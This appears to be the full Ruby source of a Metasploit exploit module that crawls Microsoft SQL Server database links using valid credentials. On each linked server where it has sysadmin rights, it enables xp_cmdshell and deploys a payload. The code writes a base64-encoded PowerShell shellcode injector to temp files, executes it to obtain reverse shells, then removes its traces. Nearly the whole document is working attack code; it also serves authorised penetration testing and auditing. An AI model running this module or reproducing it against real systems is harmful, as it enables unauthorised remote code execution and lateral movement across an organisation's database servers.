Microsoft SQL Server – Database Link Crawling Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/exploit/mssql_commands' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution', 'Description' => %q{ This module can be used to crawl MS SQL Server database links and deploy Metasploit payloads through links configured with sysadmin privileges using a valid SQL Server Login. If you are attempting to obtain multiple reverse shells using this module we recommend setting the "DisablePayloadHandler" advanced option to "true", and setting up a multi/handler to run in the background as a job to support multiple incoming shells. If you are interested in deploying payloads to spefic servers this module also supports that functionality via the "DEPLOYLIST" option. Currently, the module is capable of delivering payloads to both 32bit and 64bit Windows systems via powershell memory injection methods based on Matthew Graeber's work. As a result, the target server must have powershell installed. By default, all of the crawl information is saved to a CSV formatted log file and MSF loot so that the tool can also be used for auditing without deploying payloads. }, 'Author' => [ 'Antti Rantasaari <antti.rantasaari[at]netspi.com>', 'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>' ], 'Platform' => [ 'win' ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'], ['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'], ['URL','http://www.exploit-monday.com/2011_10_16_archive.html'] ], 'Platform' => 'win', 'DisclosureDate' => 'Jan 1 2000', 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0 )) register_options( [ OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', 'false']), OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']), OptString.new('PASSWORD', [true, 'The password for the specified username']) ], self.class) register_advanced_options( [ OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"]) ], self.class) end def exploit # Display start time time1 = Time.new print_status("-------------------------------------------------") print_status("Start time : #{time1.inspect}") print_status("-------------------------------------------------") # Check if credentials are correct print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...") if (not mssql_login_datastore) print_error("Invalid SQL Server credentials") print_status("-------------------------------------------------") return end # Define master array to keep track of enumerated database information masterList = Array.new masterList[0] = Hash.new # Define new hash masterList[0]["name"] = "" # Name of the current database server masterList[0]["db_link"] = "" # Name of the linked database server masterList[0]["db_user"] = "" # User configured on the database server link masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges masterList[0]["db_version"] = "" # Database version of the linked database server masterList[0]["db_os"] = "" # OS of the linked database server masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored masterList[0]["done"] = 0 # Used to determine if linked need to be crawled shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system # Setup query for gathering information from database servers versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\ (ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\ (char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\ CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \ -charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \ master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount" # Create loot table to store configuration information from crawled database server links linked_server_table = Rex::Ui::Text::Table.new( 'Header' => 'Linked Server Table', 'Ident' => 1, 'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state'] ) save_loot = "" # Start crawling through linked database servers while masterList.any? {|f| f["done"] == 0} # Find the first DB server that has not been crawled (not marked as done) server = masterList.detect {|f| f["done"] == 0} # Get configuration information from the database server sql = query_builder(server["path"].first,"",0,versionQuery) result = mssql_query(sql, false) if mssql_login_datastore parse_results = result[:rows] parse_results.each { |s| server["name"] = s[0] server["db_user"] = s[1] server["db_sysadmin"] = s[5] server["db_version"] = s[3] server["db_os"] = s[4] server["numlinks"] = s[6] } if masterList.length == 1 print_good("Successfully connected to #{server["name"]}") if datastore['VERBOSE'] == true show_configs(server["name"],parse_results,true) elsif server["db_sysadmin"] == 1 print_good("Sysadmin on #{server["name"]}") end end if server["db_sysadmin"] == 1 enable_xp_cmdshell(server["path"].first,server["name"],shelled) end # If links were found, determine if they can be connected to and add to crawl list if (server["numlinks"] > 0) # Enable loot save_loot = "yes" # Select a list of the linked database servers that exist on the current database server print_status("") print_status("-------------------------------------------------") print_status("Crawling links on #{server["name"]}...") # Display number db server links print_status("Links found: #{server["numlinks"]}") print_status("-------------------------------------------------") execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'" sql = query_builder(server["path"].first,"",0,execute) result = mssql_query(sql, false) if mssql_login_datastore result[:rows].each {|name| name.each {|name| # Check if link works and if sysadmin permissions - temp array to save orig server[path] temppath = Array.new temppath = server["path"].first.dup temppath << name # Get configuration information from the linked server sql = query_builder(temppath,"",0,versionQuery) result = mssql_query(sql, false) if mssql_login_datastore # Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists if result[:errors].empty? and result[:rows] != nil then # Assign db query results to variables for hash parse_results = result[:rows] # Add link server information to loot link_status = 'up' write_to_report(name,server,parse_results,linked_server_table,link_status) # Display link server information in verbose mode if datastore['VERBOSE'] == true show_configs(name,parse_results) print_status(" o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}") else if parse_results[0][5] == 1 print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)") else print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}") end end # Add link to masterlist hash unless masterList.any? {|f| f["name"] == name} masterList << add_host(name,server["path"].first,parse_results) else (0..masterList.length-1).each do |x| if masterList[x]["name"] == name masterList[x]["path"] << server["path"].first.dup masterList[x]["path"].last << name unless shelled.include?(name) if parse_results[0][2]==1 enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled) end end else break end end end else # Add to report linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed'] # Display status to user if datastore['VERBOSE'] == true print_status(" ") print_error("Linked Server: #{name} ") print_error(" o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed") print_status(" Failure could be due to:") print_status(" - A dead server") print_status(" - Bad credentials") print_status(" - Nested open queries through SQL 2000") else print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed") end end } } end # Set server to "crawled" server["done"]=1 end print_status("-------------------------------------------------") # Setup table for loot this_service = nil if framework.db and framework.db.active this_service = report_service( :host => rhost, :port => rport, :name => 'mssql', :proto => 'tcp' ) end # Display end time time1 = Time.new print_status("End time : #{time1.inspect}") print_status("-------------------------------------------------") # Write log to loot / file if (save_loot=="yes") filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv" path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service) print_status("Results have been saved to: #{path}") end end # --------------------------------------------------------------------- # Method that builds nested openquery statements using during crawling # --------------------------------------------------------------------- def query_builder(path,sql,ticks,execute) # Temp used to maintain the original masterList[x]["path"] temp = Array.new path.each {|i| temp << i} # Actual query - defined when the function originally called - ticks multiplied if path.length == 0 return execute.gsub("'","'"*2**ticks) # openquery generator else sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")" return sql end end # --------------------------------------------------------------------- # Method that builds nested openquery statements using during crawling # --------------------------------------------------------------------- def query_builder_rpc(path,sql,ticks,execute) # Temp used to maintain the original masterList[x]["path"] temp = Array.new path.each {|i| temp << i} # Actual query - defined when the function originally called - ticks multiplied if path.length == 0 return execute.gsub("'","'"*2**ticks) # Openquery generator else exec_at = temp.shift sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]" return sql end end # --------------------------------------------------------------------- # Method for adding new linked database servers to the crawl list # --------------------------------------------------------------------- def add_host(name,path,parse_results) # Used to add new servers to masterList server = Hash.new server["name"] = name temppath = Array.new path.each {|i| temppath << i } server["path"] = [temppath] server["path"].first << name server["done"] = 0 parse_results.each {|stuff| server["db_user"] = stuff.at(1) server["db_sysadmin"] = stuff.at(2) server["db_version"] = stuff.at(3) server["db_os"] = stuff.at(4) server["numlinks"] = stuff.at(6) } return server end # --------------------------------------------------------------------- # Method to display configuration information # --------------------------------------------------------------------- def show_configs(i,parse_results,entry=false) print_status(" ") parse_results.each {|stuff| # Translate syadmin code status = stuff.at(5) if status == 1 then dbpriv = "sysadmin" else dbpriv = "user" end # Display database link information if entry == false print_status("Linked Server: #{i}") print_status(" o Link user: #{stuff.at(1)}") print_status(" o Link privs: #{dbpriv}") print_status(" o Link version: #{stuff.at(3)}") print_status(" o Link OS: #{stuff.at(4).strip}") print_status(" o Links on server: #{stuff.at(6)}") else print_status("Server: #{i}") print_status(" o Server user: #{stuff.at(1)}") print_status(" o Server privs: #{dbpriv}") print_status(" o Server version: #{stuff.at(3)}") print_status(" o Server OS: #{stuff.at(4).strip}") print_status(" o Server on server: #{stuff.at(6)}") end } end # --------------------------------------------------------------------- # Method for generating the report and loot # --------------------------------------------------------------------- def write_to_report(i,server,parse_results,linked_server_table,link_status) parse_results.each {|stuff| # Parse server information db_link_user = stuff.at(1) db_link_sysadmin = stuff.at(2) db_link_version = stuff.at(3) db_link_os = stuff.at(4) # Add link server to the reporting array and set link_status to 'up' linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status] return linked_server_table } end # --------------------------------------------------------------------- # Method for enabling xp_cmdshell # --------------------------------------------------------------------- def enable_xp_cmdshell(path,name,shelled) # Enables "show advanced options" and xp_cmdshell if needed and possible # They cannot be enabled in user transactions (i.e. via openquery) # Only enabled if RPC_Out is enabled for linked server # All changes are reverted after payload delivery and execution # Check if "show advanced options" is enabled execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'" sql = query_builder(path,"",0,execute) result = mssql_query(sql, false) if mssql_login_datastore saoOrig = result[:rows].pop.pop # Check if "xp_cmdshell" is enabled execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'" sql = query_builder(path,"",0,execute) result = mssql_query(sql, false) if mssql_login_datastore xpcmdOrig = result[:rows].pop.pop # Try blindly to enable "xp_cmdshell" on the linked server # Note: # This only works if rpcout is enabled for all links in the link path. # If that is not the case it fails cleanly. if xpcmdOrig == 0 if saoOrig == 0 # Enabling show advanced options and xp_cmdshell execute = "sp_configure 'show advanced options',1;reconfigure" sql = query_builder_rpc(path,"",0,execute) result = mssql_query(sql, false) if mssql_login_datastore end # Enabling xp_cmdshell print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable") execute = "sp_configure 'xp_cmdshell',1;reconfigure" sql = query_builder_rpc(path,"",0,execute) result = mssql_query(sql, false) if mssql_login_datastore end # Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.) execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'" sql = query_builder(path,"",0,execute) result = mssql_query(sql, false) if mssql_login_datastore xpcmdNow = result[:rows].pop.pop if xpcmdNow == 1 or xpcmdOrig == 1 print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0 if datastore['DEPLOY'] print_status("Ready to deploy a payload #{name}") if datastore['DEPLOYLIST']=="" datastore['DEPLOYLIST'] = nil end if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true print_status("\t - Checking if #{name} is on the deploy list...") end if datastore['DEPLOYLIST'] != nil deploylist = datastore['DEPLOYLIST'].upcase.split(',') end if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true print_status("\t - #{name} is on the deploy list.") end unless shelled.include?(name) powershell_upload_exec(path) shelled << name else print_status("Payload already deployed on #{name}") end elsif datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true print_status("\t - #{name} is not on the deploy list") end end else print_error("\t - Unable to enable xp_cmdshell on " + name) end # Revert soa and xp_cmdshell to original state if xpcmdOrig == 0 and xpcmdNow == 1 print_status("\t - Disabling xp_cmdshell on " + name) execute = "sp_configure 'xp_cmdshell',0;reconfigure" sql = query_builder_rpc(path,"",0,execute) result = mssql_query(sql, false) if mssql_login_datastore end if saoOrig == 0 and xpcmdNow == 1 execute = "sp_configure 'show advanced options',0;reconfigure" sql = query_builder_rpc(path,"",0,execute) result = mssql_query(sql, false) if mssql_login_datastore end end # ---------------------------------------------------------------------- # Method that delivers shellcode payload via powershell thread injection # ---------------------------------------------------------------------- def powershell_upload_exec(path) # Create powershell script that will inject shell code from the selected payload myscript ="$code = @\" [DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport(\"msvcrt.dll\")] public static extern IntPtr memset(IntPtr dest, uint src, uint count); \"@ $winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru [Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')} $size = 0x1000 if ($sc.Length -gt 0x1000) {$size = $sc.Length} $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} $winFunc::CreateThread(0,0,$x,0,0,0)" # Unicode encode powershell script mytext_uni = Rex::Text.to_unicode(myscript) # Base64 encode unicode mytext_64 = Rex::Text.encode_base64(mytext_uni) # Generate random file names rand_filename = rand_text_alpha(8) var_duplicates = rand_text_alpha(8) # Write base64 encoded powershell payload to temp file # This is written 2500 characters at a time due to xp_cmdshell ruby function limitations # Also, line number tracking was added so that duplication lines caused by nested linked # queries could be found and removed. print_status("Deploying payload...") linenum = 0 mytext_64.scan(/.{1,2500}/).each {|part| execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'" sql = query_builder(path,"",0,execute) result = mssql_query(sql, false) if mssql_login_datastore linenum = linenum+1 } # Remove duplicate lines from temp file and write to new file execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'" sql = query_builder(path,"",0,execute) result = mssql_query(sql, false) if mssql_login_datastore # Remove tracking tags from lines execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'" sql = query_builder(path,"",0,execute) result = mssql_query(sql, false) if mssql_login_datastore # Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors # If running on 64bit system, 32bit powershell called from syswow64 powershell_cmd = "$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\ '*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\ -noexit -noprofile -encodedCommand $dacode\"};iex $psbits" powershell_uni = Rex::Text.to_unicode(powershell_cmd) powershell_64 = Rex::Text.encode_base64(powershell_uni) # Setup query execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'" sql = query_builder(path,"",0,execute) # Execute the playload print_status("Executing payload...") result = mssql_query(sql, false) if mssql_login_datastore # Remove payload data from the target server execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'" sql = query_builder(path,"",0,execute) result = mssql_query(sql,false) end end |